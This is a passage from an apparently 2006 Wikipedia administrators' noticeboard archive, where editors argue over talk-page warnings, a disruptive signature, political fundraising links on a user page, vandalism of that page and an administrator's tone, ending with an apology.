Zeq, I hope you do not misunderstand my involvment in this matter. It is not to support or disagree with either side of a conflict, but is simply to keep disambiguation pages running as they are supposed to. I do not hope to determine whether the existance of apartheid (disambiguation) is appropriate, but since it currently does exist (no concensus having been come to at it's AfD), it needs to be linked to from the primary topic. If the page were to be deleted, the link would be appropriate to be removed. Until that point comes about, it should still be there. -- Nataly a 22:50, 8 June 2006 (UTC)
* Clearly by looking an isolated issues and not the bigger pictrure is how the "system" is being manipulated. Zeq 03:55, 9 June 2006 (UTC)
Requests for arbitration/Sam Spade
This arbitration case is closed and the final decision is published at the link above.
Sam Spade is placed indefinitely on Probation and is cautioned to avoid unwarranted assumptions of bad faith and personal attacks and admonished to comment on content, not on the contributor. He is reminded that administrators are empowered to block for such policy violations if they disrupt the normal functioning of Wikipedia.
For the Arbitration Committee. --Tony Sidaway 21:32, 8 June 2006 (UTC)
User:Issabella16101610
User repeatedly made nonsense personal edits in Paducah Kentucky (which user made) even after I warned and redirected it to the existing page Paducah, Kentucky (with the comma). User proceeded to make personal POV edits in that page, and I can't revert again with violating 3RR. Can someone help revert and try to explain to user? thanks. --mtz206 (talk) 23:22, 8 June 2006 (UTC)
* Done, and I'll block the next time. Sasquatch t|c 23:31, 8 June 2006 (UTC)
* Thanks. --mtz206 (talk) 23:40, 8 June 2006 (UTC)
I have to say I didn't find the name even remotely inappropriate. Exploding Boy 00:03, 9 June 2006 (UTC)
* HUH? Sasquatch t|c 00:21, 9 June 2006 (UTC)
* I think that was supposed to go here. Radio Kirk talk to me 00:30, 9 June 2006 (UTC)
User:Exploding Boy is removing warnings
Exploding Boy had may personal attacks upon myself during the course of editing. He decided to make up a new name for me here ("Chuckwagon") and said that my edits were useless here. I gave him a Npa-n warning here in regards to the edits. Here he removed the warning, and then I added it back with a removing warnings message. He removed that one and tried explaining on my talk page (in a not very civil tone) that I had no idea what I was talking about. I added the warning back with a Wr2 message, which is the final warning for removing warnings. He has since removed all of the warnings. He has been notified that he can/will be blocked for this and has told me to "stop threatening [him] with] a block". I believe a block is the proper course of action after receiving a Wr2 and blanking warnings after that. Chu ck(척뉴넘) 20:52, 3 June 2006 (UTC)
* The purpose of an npa warning is to make the user aware of the policy. I can assure you that he is now aware of it. Beyond that, the state of his talk page is really for him to worry about, not you or me. HenryFlower 20:57, 3 June 2006 (UTC)
* I'm not certain what your talking about. Npa is a warning, and he removed it. If he had talked about the problem, I wouldn't have cared, but he didn't. He removed it, removed it again, and removed it again. It may not be our place to say the state of his talk page, but he cannot remove warnings, that is a clear-cut policy. Chu ck(척뉴넘) 20:59, 3 June 2006 (UTC)
* Also, please note that using templates to communicate with an experienced user can be seen as offensive or inflammatory, especially when you have been involved in a dispute with that user. FreplySpang 21:03, 3 June 2006 (UTC)
* Removing warnings is a proposed policy. It is not policy. HenryFlower 21:07, 3 June 2006 (UTC)
* I wasn't referring to Removing warnings, but to Vandalism, where under types of vandalism it has "Removing warnings". WP:V isan official policy. And just because he is an experienced user who was committing personal attacks, doesn't mean he can't get a warning template. Chu ck(척뉴넘) 21:10, 3 June 2006 (UTC)
* There's a very important may in that wording. You seem to misunderstand the whole point of the npa warning: it's not a black mark to give out to naughty people; it's a device to make people aware of the policy as efficiently as possible. It's not an appropriate way to communicate with established editors who are likely to know the policy already. HenryFlower 21:16, 3 June 2006 (UTC)
* Henry is, to be sure, correct; for new users, the templates do sometimes serve as more than edifying devices, as they allow other editors to see that a user has been apprised of our policies and guidelines, in order that, should he/she continue to flout those guidelines, further warning or blocking may occur. Here, the warning serves, at best, to inform EB that you took his comments to be personal attacks; once he has read the warning and apprehended your meaning, he may remove it. I think it's a bit untoward to remove warnings--or any commentary, really--from one's talk page, believing that one ought to reply to, rather than excise, comments with which he/she disagrees, but neither would I try to compel others to act similarly nor would I support a blanket proscription on removing warnings (which does not now exist). Finally, even as EB's comments were indecorous (although Chuckwagon seems a jocular, if unduly informal and perhaps patronizing, appellative, and certainly not a personal attack), I don't think they rise of the level of blockable personal attacks; in this instance, you would be better served to leave an actual note on his talk page, to the effect that his edits bothered you and that you perceived them as personal attacks, the cessation of which you would, as you continue to collaborate with him and others, appreciate. Joe 21:22, 3 June 2006 (UTC)
* Having been one of the targets of User:Chcknwnm's recent NPA tagging spree, I also think he's grossly misusing the template as a warning for those he thinks are being uncivil. Please try using your own works to discuss the concerns you have instead of lobbing templates. You might also want to review the personal attack policy for a bit of clarification on what a personal attack really looks like. Shell babelfish 10:41, 4 June 2006 (UTC)
* I know this is long over (relatively), but I wanted to clarify that my spree consisted of adding the template to two people's talk, Shell and EB. I realize I should have said the comments were uncivil rather than PA's. I had made a mistake. However, removing warnings should still be discouraged/disallowed until they are discussed. Ch<font color="Green">u ck(척뉴넘) 07:31, 9 June 2006 (UTC)
User:Myrtone86's signature
Can we please force him to change his irritating sig (which misuses )? His current sig, as it stands, is<EMAIL_ADDRESS>... horribly irritating. At least two users have complained to him, but he has refused to change it. NSL E (T+C) at 13:15 UTC (2006-06-08)
* Please be a bit more tollerant, my signiture may be unusual but I could still say the same of those of many other wikipedians, such as ones with pictures, etc. It is like if you were white (as I am), you grew up never having seen a black, but saw one later in your life, what would you think of their skin colour, if you found it irretating, then you have got my analogy. User:Myrtone86:-(
Other Wikipedians with disruptive signatures are asked to change them. Your analogy is also confusing and not relevant at all. Please consider removing the irritating use of the PAGENAME magic word from your signature; I especially dislike the way you suffix it with .com.au which is completely beyond me, although somewhat dubious. Thank you. robchurch | talk 13:49, 8 June 2006 (UTC)
* Can't say I like it... I seriously thought I had a fan whenever you left a message on my talk page :) Thanks for your quick reply Myrtone86. -- Longhair 13:50, 8 June 2006 (UTC)
This user's insolent attitude to reasonable requests convinces me that he needs encouragement. Blocked for three hours to help him to make up his mind. --Tony Sidaway 13:55, 8 June 2006 (UTC)
* He also seems to have been engaged in some vandalism. Warned. --Tony Sidaway 14:11, 8 June 2006 (UTC)
* He also opposed Gurch's RFA with the utterly ridiculous reasoning of "no userboxes". Talk about trolling. -- Cyde↔Weys 15:48, 8 June 2006 (UTC)
* He also opposed Samir's RFA because he didn't speak a differant language? What exactly is he trying to prove? <font color="CD2626">The King <font color="CD2626">of Kings 18:23, 8 June 2006 (UTC)
* Still hasn't changed the sig and the race commentary is bizarre. FYI, fluent in three languages. -- Samir धर्म 00:44, 9 June 2006 (UTC)
* His talkpage is just a complete circle jerk of complaints about his behaviour. I doubt his signature was made to do anything but annoy people. He seems to have made a habit out of it. --mboverload @ 23:05, 8 June 2006 (UTC)
* No userboxes? Isn't this the guy who made a WP:POINT out of TfDing a ton of userboxes? --Rory096 07:22, 9 June 2006 (UTC)
User:Chooserr
I have removed two instances of solicitation of funds for political purposes, through linking to an external donation web page, from each of Chooserr's user page and talk page. Chooserr had been editing but his response to requests by other editors that he remove the links was negative and defiant. --Tony Sidaway 14:39, 3 June 2006 (UTC)
* Negative and defiant? As soon as he logged on he replied to the person who'd warned him, and as he demonstrated on Tony's talk page, nobody bothered to explain to him that there was actually a policy violation there. Then Tony gives him this reply, and Chooserr does this and then on second thought, this. Congratulations, Wikipedia. -GTBacchus(talk) 19:37, 3 June 2006 (UTC)
* I think you're being unnecessarily charitable towards Chooserr. Everybody knows this isn't where you come for fundraising. --Tony Sidaway 19:40, 3 June 2006 (UTC)
* Everybody knows? Chooserr's had that link on his page for about six months, and nobody's ever said a word to him about it. How does he know that the "wide latitude" we allow in user space doesn't include what we've been allowing him for six months? It's not like an admin's never looked at his page. You think I'm being too charitable; I think you're being way too brash and disrespectful. Tony, you talk to people like they're misbehaving dogs and you're their master; it's disgusting. Would it kill you to treat people respectfully? -GTBacchus(talk) 19:45, 3 June 2006 (UTC)
I think it would be nice if occasionally an administrator wasn't pilloried for removing blatantly unsuitable material from the site and warning the editor in question. Your own part in this was unfortunate; you restored the solicitation link after another editor had correctly removed it after the warning. Don't make it worse by blaming others. --Tony Sidaway 19:51, 3 June 2006 (UTC)
* I have no problem with you removing blatantly unsuitable material. I have a serious problem with your apparent inability to maintain courtesy. You contribute a lot to the Wiki, and we all appreciate that, but you are not above WP:CIVIL. If it's not readily apparent to you that you could have handled this situation much better, then I question your good sense.
* As for my action, I explained it sufficiently at the time. Removing a link that had been sitting there for six months is not so urgent that it overrides our basic need to treat each other well. An administrator had left a warning, asking Chooserr to remove the material himself, and then acted on it before Chooserr had even logged on again, as least as indicated by his Contributions page. Then another editor vandalized the page by inserting different linkspam. Having a choice of which version to revert to, I chose the version where Chooserr still had a chance to remove the offending link himself, because what's the point in giving someone a chance to fix something for himself, if you're going to just do it before he actually gets that chance? I err on the side of respect, because it pays to maintain an atmosphere in which people treat each other excellently.
* Again, to be very clear, you have mischaracterized my statements. I am not criticizing you for removing the link. I am criticizing you for talking down to other human beings. It's unnecessary, rude, counterproductive, and against policy.
* Oh, another thing: I'm not "blaming" you for anything. I'm just saying be more respectful. -GTBacchus(talk) 20:00, 3 June 2006 (UTC)
* Just a minor correction, GTBacchus. Timothy Usher did leave a request (I wouldn't call it a warning), but you're incorrect in stating that an administrator did. Timothy is not an admin. Jumping in to remove it before Chooserr had logged on was, of course, unfortunate, as it made it more difficult for Chooserr to do so without losing face. AnnH <b style="font-size:medium;">♫</b> 11:58, 5 June 2006 (UTC)
For those of you just joining us, has been embroiled in a long struggle with this user; see his talk page. Isopropyl 21:32, 3 June 2006 (UTC)
If I've failed to maintain courtesy, GTBacchus, then you're right to reprove me. I agree that Alienus was very, very naughty and he's been given warnings by Nandesuka and (when he told me about that warning) me. There may be some minor details of timing here but I won't go into those, just observe that at the time I removed the links he'd been told about the problem and was being pretty stroppy about it. It really doesn't take an immense amount of thought to realise that what Chooserr was doing is absolutely prohibited, anywhere on Wikipedia, even on Chooserr's talk page and user page.
Chooserr has a pretty massive block log and does seem to have a history of biased editing. Had he come here to produce unbiased edits but had only popped a fundraising link onto his user page by accident, then of course a lighter approach would have been appropriate. But Chooserr isn't about that at all. He uses his user page to advertise his pet causes, though he does so in a reasonably Wikipedian way:
* American Life League
* The Catholic League for Religious and Civil Rights
* Pro-Life Alliance
* SPUC
* Student LifeNet
* British Weights and Measures Association
* Foundation for Endangered Languages
Now Chooserr has been up to this for six months. Hooray! Let's allow him to continue to engage in political fundraising for another three weeks or so. Or should we just remove the bloody horrible thing and tell him not to abuse Wikipedia again? --Tony Sidaway 00:21, 4 June 2006 (UTC)
* First I was "pillorying" you for removing inappropriate material, and when that turned out not to be true, I'm suggesting that you put off removing the material for three weeks. Where will you go when that turns out to be false?
* I'm actually quite familiar with Chooserr's history. I remember him new at Wikipedia, getting blocked left and right, and I watched him learn how to edit here, and how to use the talk page instead of revert warring, and how images have copyrights that we have to worry about, and I have seen him become a valuable member of the editing team on some articles that we both work on. He hasn't been blocked since the last time I blocked him in February, because he's improved, and he's helping build the encylcopedia. The linkspam on his page - you were right, it had to go - but I see a human being there, and I have no problem having a conversation explaining to him about why the links aren't cool. You know, changing the culture one person at a time? Apparently, you don't see a human worthy of respect, all you see is "abuse"; and who has time for a conversation or a civil interaction, when you could be bossy and contemptuous instead? It's efficient, that contempt stuff.
* So apparently, I'm asking that we screw around for three weeks, and "allow abuse" or something; that's right, Tony. Christ. You really think the small effort of treating someone respectfully is a big waste? That's all I'm talking about. You're right about everything, of course, but you could treat people better, and you should, because it matters. Stop contributing to an atmostphere of combativeness. Play well with others. This is all I'm saying. If you want to blow a bunch of smoke about how I'm harassing you for removing unsuitable content, or what a "bad user" Chooserr is anyway, and how he was being "stroppy" (what a load of horseshit), I don't buy it, and I don't give a fuck either. None of that is an excuse for you to be a dick. Stop poisoning the well, because I care about this project a lot, and I don't like you marring it with your antisocial attitude. If I see you shitting on people, I will call you out on it.
* Now, are you going to find another way to miss the point, and drag this out longer, or what? -GTBacchus(talk) 05:38, 4 June 2006 (UTC)
* I've seen the odd user page or two asking for donations via Paypal in return for their wiki contributions. Is this also frowned upon? -- Longhair 00:28, 4 June 2006 (UTC)
* Possibly not. I don't know. --Tony Sidaway 18:20, 4 June 2006 (UTC)
* Depends who you ask. Me, if it helps build the encyclopedia, then so be it (but certainly don't spam asking for it). Hell, I wouldn't mind some pocket money myself for the hours I've put in here. Snoutwood (talk) 18:24, 4 June 2006 (UTC)
User:Chooserr - Enforcing policy doesn't require trampling on other editors
Chooserr had those links for months. I haven't checked the history to see how long exactly. I had noticed them before, and had found them inappropriate for a Wikipedia user page. However, I have seen user pages and user talk pages with pictures of penises (and I don't mean just the one recently reported at WP:AN/I; I have seen user pages which attacked or belittled other users. I saw no reason to barge in and trample on another editor — especially when it involved an editor who might feel ganged up against. This has been discussed before at one of the admin noticeboards. Chooserr has been blocked (or had blocks increased) for doing things that were not against policy, but were disruptive (welcoming too many new users, saving his talk page every minute while blocked, in the hope that someone would see his unblock request on Recent Changes). I am quite sure that I could have stopped some of the problems without resorting to a block — just by asking nicely. Editors who have openly wiki-stalked him, reverting his good-faith edits with "rvv" or "mindless, incoherent troll" were never blocked. For those reasons, I prefer to be extra gentle and extra tactful when dealing with Chooserr. I have found, also, that he responds much better to people making polite requests than to people bullying or threatening him. (Don't we all?)
At 16:35 (UTC) on 1 June, Alienus removed the link from Chooserr's talk page with no prior warning or request. The edit summary said this is offensive enough on a user page; it doesn't belong on a talk page. Note that Chooserr did not edit Wikipedia between 31 May and 3 June, so presumably did not see it at the time.
At 20:01 on 1 June, Elliskev reverted, with rvv.
At 20:05 on 1 June, Elliskev sent Alienus a tpv2 message.
There was some discussion then at Alienus's talk page, and at Elliskev's talk page. It later spread to Timothy Usher's talk page. At one stage, Elliskev removed Alienus's message (asking him to AGF) from his talk page. Alienus promptly sent him a civil message and commented on the rudeness of deleting a message, although he routinely deletes any message he receives from Nandesuka using popups. Elliskev deleted the warning as well, though after discussion with Timothy, he restored these messages.
At 02:31 on 2 June, Timothy posted a message to Chooserr saying that the link was inappropriate, and politely requesting him to remove it.
At 04:05 on 3 June, Timothy posted to Chooserr: As you've not responded, I've done it. Note that Chooserr had not edited at all since the request was made, and so had presumably not been online.
At 04:06 on 3 June, Timothy removed the link, but kept the words "Make Abortion History".
At 05:15 on 3 June, Alienus vandalized Chooserr's talk page by linking "Make Abortion History" to the donation page of Planned Parenthood — edit summary: a link is fine, so long as it's not to anything partisan. The page now looked exactly as it had looked before Timothy removed the link, but the link was to the donation page of a pro-choice website, rather than of a pro-life one.
At 05:23 on 3 June, GTBacchus restored the page to Chooserr's version — certainly not out of approval of the link (Chooserr and GTB disagree on article content), but presumably because he felt annoyed by the vandalism and harassment, and felt that the removal of a link which had already been several months on a page which visitors browsing Wikipedia would be unlikely to see was a less urgent matter than treating another human being with respect.
At 05:51 GTBacchus pointed out that Chooserr had not even logged on, and that "respectfully waiting for a reply" was "more important than making [the link] be gone now".
At 05:53 on 3 June, Timothy posted, "Okay, let's wait until he's logged on."
There was also discussion on Alienus's talk page showing that Alienus was defiant, unrepentant, and flippant.
Most editors who logged on to find all that in the page history would find it a bit galling to remove the link. Once again, I agree it shouldn't have been there, but for Alienus (who is in constant dispute with Chooserr, and who at the time had offensive comments about three editors on his own talk page) to barge in and remove it without request or warning, for Timothy to jump the gun by removing it before Chooserr had had a chance to respond, and for Alienus then to vandalize his page by linking to something that promoted the opposing POV must all have have contributed towards making Chooserr feel that he didn't want to remove the link. I saw the history of his talk page just before I went into work on Saturday morning, and decided I'd ask him myself to remove the link: I felt fairly sure he would agree, and it would all blow over. I have found that Chooserr responds well to being treated with ordinary human respect — something which unfortunately does not seem to have been tried by Alienus or Tony in this case.
In fact, at 06:50 on 3 June (his first edit in three days) Chooserr wrote to Timothy, thanking him for his comments, saying that they were obviously well meant, and that he might remove the tags. I wouldn't call that "negative", "defiant", or "stroppy". Nine minutes later, he posted a fairly mild message to Alienus, asking him not to vandalize his page. His next edit, at 07:25 was to his own user page, where he removed two links to external sites requesting donations for the pro-life cause, and kept the remaining one. I would call that a step in the right direction, not being "negative", "defiant", and "stroppy". I would also consider it to be evidence that reasoning with Chooserr would be better than bullying him.
When I got home from work, I discovered that Alienus had added "Well, he's logged on and entirely unrepentant" at 14:05 (No sign of any repentence from Alienus for his own trolling, vandalism, and insult.)
At 14:13, 14:19, 14:20, and 14:34, Tony Sidaway made four edits to Chooserr's talk page, removing the link, calling it "completely inappropriate", threatening "to block [Chooserr] for linkspamming if [he] insist[ed] on abusing Wikipedia in this way". That must have been especially galling for Chooserr since Alienus had not been threatened with a block. (He was subsequently threatened by Nandesuka.) Tony may have been unaware of the vandalism, but was able to make (false) statements here about Chooserr having been "negative and defiant".
At 18:28 on 3 June, Tony told Alienus that his edit (linking Chooserr's page to a Planned Parenthood donation page) was "out of order", and asked him "please" not to do stuff like that again. (No "completely out of line", no threats to block.)
At 19:07 on 3 June, Tony, in response to Chooserr's protest that he would have taken down the link himself if someone had shown him it was against policy, said "You've been told now. Happy?"
I have just two questions for Tony and Alienus:
* 1) Would it have been possible to get that link removed without threats and vandalism?
* 2) Assuming that it was possible, would it have been preferable to get it removed without threats and vandalism?
I'm quite, quite sure that I, or GTBacchus, or FreplySpang would have been able to get those links removed without trampling on Chooserr, without making him feel that someone who had vandalized his talk page was vindicated (note that Alienus claimed elsewhere that his action had been redone by another admin), and without resorting to threats of blocks. Tony, you've managed to get that link removed, which is good for the project, so you probably feel that this has been a success, but in my view, the only people who could be happy at the way this was done are people who don't think that real human beings with real feelings matter. GTBacchus has come out of this extremely well. Nobody else has.
AnnH <b style="font-size:medium;">♫</b> 11:58, 5 June 2006 (UTC)
* I was unaware of Alienus' vandalism. In fact alienus later told me about Nandesuka's warning (which contained a block threat ). I told alienus not to do it again, feeling that a further block threat was superfluous as he'd stopped. Personally I would probably have blocked alienus without a warning had I been aware of the vandalism at the time. He is an experienced editor and should know better.
* Alienus' vandalism to a certain extent explains and mitigates Chooserr's uncooperative and defiant attitude. I think it's possible, though it seems incredibly unlikely, that Chooserr didn't realise that what he was doing on his talk page and user page was quite beyond the pale. --Tony Sidaway 13:30, 5 June 2006 (UTC)
* I thought you probably were not aware of Alienus's vandalism at the time, and I agree that since he was unlikely to do it again, a further block threat was superfluous. My problem was with the block threat that you issued to Chooserr. If Jimbo came to your talk page to tell you that he'll block you if you vandalize his user page, there would be an implication that he suspected you of intending to, which would be unfair. Your non vandalism could then be seen by others as simply a result of that threat (that you knew you wouldn't get away with it), which would make you lose face, and would be undeserved. In my view, the threat of blocking Chooserr was also undeserved — much more so than a threat to Alienus would have been, as Alienus did something that was definitely malicious and definitely intended to taunt Chooserr, whereas Chooserr was simply linking to something unsuitable which he probably thought he could link to. As GTBacchus says, he had had it there for months, administrators had frequently visited his page, and nobody had said anything. Chooserr edits articles closely related to his own interests, and shows little interest in Project pages concerning policy. He may have heard that we allow a "wide latitude" concerning user pages. In any case, I don't agree that what he was doing was "quite beyond the pale". If it had been, someone would have protested earlier. I do agree it was inappropriate, but feel sure (and GTBacchus and I both have more experience of Chooserr than you do) that it was in good faith. I personally believe that putting images of penises and/or human excrement on one's talk page is "quite beyond the pale". And I think that what Alienus did was "quite beyond the pale".
* What worries me, Tony, is that while you have acknowledged that Alienus's vandalism was a mitigating factor, you still use language like "Chooserr's uncooperative and defiant attitude", which ties in with your original language of "defiant", "negative", and "being pretty stroppy about it". You haven't offered any diffs to show that he was defiant, negative, or stroppy, and GTBacchus and I have both given diffs to show that his first post after being made aware of the objections was a polite one to Timothy saying "I thank you for your comments. They are obviously well meant, and I might remove the tag(s) . . . I'm not trying to cause trouble", and that he then removed two of the three links he had. He was probably still thinking about the remaining one. Nobody had shown him it was against policy. All he had been treated to was vandalism, taunts, and people taking the matter out of his hands while he was offline and before he was aware of any objections.
* I recall as long ago as last summer I began to notice that you sometimes voted to support RfAs of people with whom you had been in dispute, and I thought, "that's decent of him; he's obviously fair." It wasn't just once or twice: I noticed it many times. And now I see you most unjustly (in my view) threatening someone with a block and reporting him as "defiant", "negative", "stroppy" and "uncooperative" without any justification whatsoever. Everything I've seen about you suggests that you care deeply about the project — but we're dealing here with a real human being who has feelings.
* I used to have a Catholic user box on my user page, plus a pro-life one, plus a homemade one that said I was obedient to the Pope, plus another one that said I agreed with Humanae Vitae. At that time, many people had user boxes. I was completely unaware that Jimbo didn't want it. When Jimbo made his very courteous request, clarifying how he felt, appealing for our cooperation, etc., I thought about it for a few days, and then took away all my boxes except the homemade "obedient-to-Benedict" one. I felt he'd find that less objectionable because it wasn't in template space, and I had made it myself, so it didn't encourage a "clubbing together" of editors. He never (as far as I know) specified his views on boxes in user space, and I watched to see if he would. Eventually, when redesigning my user page, I removed even the Benedict one. I think it would have been quite inappropriate to describe me as "negative", "defiant", "stroppy", and "uncooperative", and to have threatened me with a block while I was thinking about it. But the end of the story is that the boxes were removed, and nobody bullied me or took away my dignity. Chooserr's story didn't have such a happy ending.
* By the way, Alienus has continued to hassle Chooserr, by removing an extremely mild post from one of Chooserr's friends and by sending him a welcome message in its place, because the page looked "empty". He's gaming the system, because he feels he can't get blocked for sending someon a welcome message, but it's pure impertinence, coming from someone in dispute with Chooserr, whose messages Chooserr definitely doesn't welcome, and when Chooserr has been here for over six months. He was then what I would call defiant and uncooperative, when GTBacchus asked him would it not be better to leave Chooserr alone, feigning innocence, pretending not to know what GTB was talking about, saying that he didn't see how the welcome message could be seen as any kind of insult etc. See here.
* Anyway, the main point of all this is that in my view Chooserr was not negative, defiant, uncooperative, or stroppy, and should not have been threatened with a block. When it was brought to his attention, he answered nicely, took away two of the links, and was presumably still thinking about the third, at a time when nobody had shown him any policy that forbade it. It would be nice of you, Tony, if you could leave a message on his talk page telling him that you see that nobody had shown him the policy, that he wasn't refusing to remove the link, and that you shouldn't have threatened him. AnnH <b style="font-size:medium;">♫</b> 20:40, 6 June 2006 (UTC)
I think I could have misread Chooserr's attitude. It did seem to me that continuing to have that link up and continuing to edit without doing anything about it spelled deliberate defiance in very unambiguous terms, and what appeared to me as a patronisingly-worded "I'll think about it"-type response was very negative.
I think I got it wrong here. I'll apologise on User talk:Chooserr for the tone of my warning message. --Tony Sidaway 23:33, 6 June 2006 (UTC)
* Thanks Tony. That was very nice of you, and I'm sure that Chooserr appreciated it. AnnH <b style="font-size:medium;">♫</b> 14:14, 9 June 2006 (UTC)
* Thanks, Tony. I wholeheartedly agree with your action, but also with Ann's description of your tone, and am really pleased to see this being resolved favorably on both fronts.
* And Ann, as for no one looking good but GTBacchus - you've criticized me for removing it before Chooserr came back online, but the link violated policy - why should it have remained just because Chooserr was taking a wikibreak? I also condemned Alienus' gratuitous post-removal vandalism. Both were out of line. Though I don't, as you note, have the power to block for vandalism, I do have the ability to remove links that shouldn't be, and I used it.
* I personally don't understand the level of hostility towards pro-life here - it seems to me an issue upon which good-faith disagreement is natural and hardly cause for demonization - but maintain that it shouldn't be exacerbated by irrelevant (to wikipedia) statements in userspace. Since then, Chooserr has taken issue with another editors' user-page discussion of his transsexuality (pardon me if I've abused the increasingly arcane rules of jargon), which I personally (key word) find kind of disturbing as well, though as Tony rightly asserts, it's well within current policy. I honestly don't know why we need any of it. Who cares if you're pro-life? Who cares if you're Muslim? Who cares if you're transgendered? It's all off-topic and pointlessly divisive.Timothy Usher 06:02, 7 June 2006 (UTC)
* Timothy, I disagreed with your removal of the link while Chooserr was still offline, but if it was criticism, it was of the mildest kind. I didn't feel shocked or angry, just "I wish he'd left Chooserr to do it himself." People prefer to be asked to do something without the "and-if-you-don't-I-will" threat. I agreed with GTBacchus's remark that "respectfully waiting for a reply" was "more important than making [the link] be gone now", but I wouldn't push the point. There's room for disagreement there, based on how much we think the link violates policy and how urgent we think its removal is. Remember, it was there for six months, and several administrators (pro-choice ones as well) visited his talk page and didn't protest. You say it violated policy, so why should it remain while he's on wiki-break? Well, I'm convinced that such a solicitation is against what Jimbo Wales intends Wikipedia to be, and that's good enough for me; but I'm not convinced that it violates any explicit policy. Wikipedia is not a soapbox deals with what you shouldn't have in an article; it doesn't say what you may or may not have on your user page. POV edits violate policy, but you can't remove them a fourth time in 24 hours: you have to leave them there. I personally think it's more urgent to get rid of something that shouldn't be in an article, because visitors who look up something in Wikipedia are unlikely to navigate to Chooserr's talk page. I think that allowing Chooserr to do the right thing of his own accord would have been preferable to urgently removing the link. It wasn't as if the link was to a site that gave personal information about other editors. And it wasn't as if Chooserr had been gone for a month. Can we agree to disagree on this? My "disapproval" of what you did was so mild that I wouldn't have bothered mentioning it anywhere if the whole business of Chooserr's "negative and defiant" attitude hadn't been brought up here. AnnH <b style="font-size:medium;">♫</b> 14:14, 9 June 2006 (UTC)
Hi. For those of you just joining us, my name is Al, and AnnH has been talking about me here. Whatever her motivation, the net effect has been to shift the focus away from Chooserr's inappropriate advertisement and towards my response. Of course, this is a logical fallacy to begin with, as nothing I do can excuse Chooserr's prior acts.
I'll try to be brief, because this is Chooserr's incident report, not mine. What I'd like to state for the record is that any editor reading this would be unwise to take AnnH's summaries of my actions at face value. With all due respect, her descriptions are misleading in a negative fashion.
Now, I realize that, due to her rather strong Christian POV (which is coincidentally shared by Chooserr), she and I have a history of conflict. Coincidentally, she's acted a few times to encourage others to block me and extend my blocks, and has generally sided against me whenever we've interacted. I guess we disagree on a bunch of stuff. However, I don't believe that this is sufficient basis to excuse her violation of WP:AGF, much less her apparent willingness to play fast and loose with the facts.
I'll give you one quick example and then walk away. As some of you know, there's a particular trio of editors who I've had much more conflict with than is healthy for anyone. The result has been a trio of blocks, after which I resolved not to repeat my error by continuing to interact with them. As a result, I put a short, polite message at the top of my page explaining why, to avoid confrontation, I would simply remove any comments from them rather than respond and further antagonize them.
If you read it for yourself, you can see that the message expressed some frustration, but was still quite civil. Note that nobody, not even AnnH, ever complained that it was uncivil. More significantly, as that diff shows, the moment one of those three extended the olive branch, I immediately accepted it and removed the message.
That's the reality. In the world according to AnnH, I had "offensive comments about three editors on [my] own talk page". See what I mean? Similar distortions can be found in each and every case where she brings up my name.
With all due respect, I feel hurt by Ann's remarks and wish she hadn't made them. In the end, all I can ask is that you use your own eyes and judgement instead of depending on hers. I'm only peripherally involved in this Chooserr issue and don't wish to be drawn in any further, so I'm going to walk away now, as promised. Please don't be distracted by this silliness; the Chooserr issue still needs to be resolved, and no amount of focus on me will help. Thank you for understanding. Al 06:57, 7 June 2006 (UTC)
* I don't see anyone in this conversation but valuable editors, of undoubted good faith, and certainly none of us needs to be characterized as "the bad guy". -GTBacchus(talk) 15:52, 7 June 2006 (UTC)
* Perhaps you should inform Ann of that fact, since she seems interested in characterizing me as the bad guy, so as to spare Chooserr. Al 03:28, 8 June 2006 (UTC)
* What do you think I just said, in my above post? I just called you a "valuable editor" and said there's not need to characterize you as the bad guy. Why did you think I posted that? -GTBacchus(talk) 16:45, 8 June 2006 (UTC)
* I'm not disagreeing with you. I'm pointing out that this is something that Ann in specific ought to read. Al 16:56, 8 June 2006 (UTC)
* When in a hole - stop digging. Agathoclea 17:35, 8 June 2006 (UTC)
* Alienus, it is perfectly appropriate to bring up your vandalism of Chooserr's talk page in this section, where Chooserr's attitude was being discussed. You say that it's irrelevant because nothing you do can excuse Chooserr's prior acts. I think it has generally been agreed now that Chooserr was unaware that he was in violation of any policy when he put the link there, and your vandalism is very relevant to the discussion of Chooserr's attitude after he was requested to remove the link (an attitude which was Tony has now agreed he may have misjudged). If you don't want your feelings hurt by reference to your vandalism, I suggest you don't vandalize. I don't think there are many Wikipedians who will argue that changing Chooserr's MAKEABORTIONHISTORY link so that it looked the same as before but now linked to the Planned Parenthood donation page instead of to a Catholic Pro-life charity was not vandalism. If an Ulster Protestant puts Ian Paisley on his user page in a list of admirable people, and I change it so that it links to Pope Benedict XVI while still saying Ian Paisley, that is vandalism, pure and simple. Nandesuka called it vandalism and threatened a block, Timothy called it vandalism, Tony called it vandalism and said he would probably have blocked you without warning if he had seen it at the time, and GTBacchus reverted it and told you that it was "not cool". I suggest that instead of edit warring at my talk page to put bogus civil1 warnings there because of my post above, you explain why I'm mistaken in calling it vandalism.
* By the way, I acknowledge that you did remove your reference to the three editors who were (according to you) responsible for your last three blocks when Nandesuka extended the olive branch. However, what I said was that at the time that you removed something from Chooserr's talk page on the grounds that it was offensive, you had something on your talk page that was offensive. You may not think it was offensive, but then Chooserr probably didn't think his link was offensive either. AnnH <b style="font-size:medium;">♫</b> 14:14, 9 June 2006 (UTC)
* I'm on UK time so have just read all this (one of the userboxes I think is useful) and I think it's sad to see so much stereotyping of other editors. One very interesting interaction I had on Intelligent design brought it home to me how without realising it we do interpret other editors messages by guessing their intent. I have also seen persona non grata editors have their very valid suggestions ignored or challenged as other editors have chosen to disregard their edits no matter what. Tim was right that the link did not need to stand - this is a wiki so no one owns space. Ann is right that tact always works best and Al is right that this report is about Chooserr's inappropriate link. Unfortunately conflict does happen but we should be prepared to AGF and not always fall into the trap of viewing the edits of people we share a POV with favourably and those of editors we clash with as "attacks" or "vandalism". Sophia 09:21, 7 June 2006 (UTC)
* Well said Sophia. May I add it does not go down very well in calling people sock/meat-puppets because they agree with opponents edits. Constant defence fighting does not help ones image. Agathoclea 10:27, 7 June 2006 (UTC)
* Also it is often said that "converts are the most dangerous". So after convincing C that POV links on ones userpage in a no-no it is not surprising to see him looking for the same mistake elsewhere. Agathoclea 10:46, 7 June 2006 (UTC)
* Some believe that others should suffer as they do. Others believe that their own suffering is bad enough and need not be repeated. I lean towards the latter, myself. Al 03:28, 8 June 2006 (UTC)
